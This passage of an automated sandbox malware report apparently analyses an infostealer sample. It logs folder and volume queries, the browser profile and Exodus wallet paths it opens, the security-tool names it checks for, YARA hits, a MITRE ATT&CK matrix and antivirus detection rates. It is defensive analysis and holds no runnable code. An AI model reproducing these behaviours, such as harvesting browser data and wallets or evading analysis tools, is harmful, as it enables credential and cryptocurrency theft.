Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-conio-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-convert-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-environment-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-filesystem-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-math-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-process-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-stdio-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-string-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Desktop\DTBZGIOOSO VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Desktop\MNULNCRIYC VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Documents VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Documents\DTBZGIOOSO VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Documents\DVWHKMNFNN VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Documents\IVHSHTCODI VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Documents\MNULNCRIYC VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Documents\My Pictures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Pictures\Camera Roll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Pictures\Saved Pictures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Documents\My Videos VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Documents\ONBQCLYSPU VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Documents\TTCBKWZYOC VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Pictures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Pictures\Camera Roll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Pictures\Saved Pictures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Music VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Videos VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\Downloads VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D39EE8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetTickCount64,GetTickCount64,QueryPerformanceCounter,

0_2_00007FF795D39EE8

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D2CD90 malloc,GetUserNameA,free,malloc,free,GetComputerNameA,free,free,

0_2_00007FF795D2CD90

Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe

Code function: 6_2_00007FF7CA7B518C _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

6_2_00007FF7CA7B518C

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D2D070 GetVersionExW,_snprintf,

0_2_00007FF795D2D070

Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: svchost.exe	Binary or memory string: procmon.exe
Source: svchost.exe	Binary or memory string: avgui.exe
Source: svchost.exe	Binary or memory string: procexp.exe
Source: svchost.exe	Binary or memory string: avgwdsvc.exe
Source: svchost.exe	Binary or memory string: MsMpEng.exe
Source: svchost.exe	Binary or memory string: autoruns.exe

Stealing of Sensitive Information

Yara detected MicroClip

Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: tmp1946.exe PID: 2300, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\reports	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Safe Browsing	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\WidevineCdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\BrowserMetrics	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\RecoveryImproved	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SafetyTips	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\GraphiteDawnCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SSLErrorAssistant	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\MEIPreload	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\hyphen-data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\OptimizationHints	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\AutofillStates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\PKIMetadata	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\pnacl	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ShaderCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FileTypePolicies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\GrShaderCache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\OriginTrials	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe

File opened: C:\Users\user\AppData\Roaming\Exodus\

Jump to behavior

Remote Access Functionality

Yara detected MicroClip

Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: tmp1946.exe PID: 2300, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	14 Native API	11 DLL Side-Loading	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Exploitation of Remote Services	12 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	2 Obfuscated Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	812 Process Injection	1 Timestomp	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	2 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	11 DLL Side-Loading	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rootkit	LSA Secrets	461 Security Software Discovery	SSH	Keylogging	22 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	121 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	812 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
52kYJGCon6.exe	66%	ReversingLabs	Win64.Trojan.Vigorf
52kYJGCon6.exe	46%	Virustotal		Browse
52kYJGCon6.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\_MEI3442\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
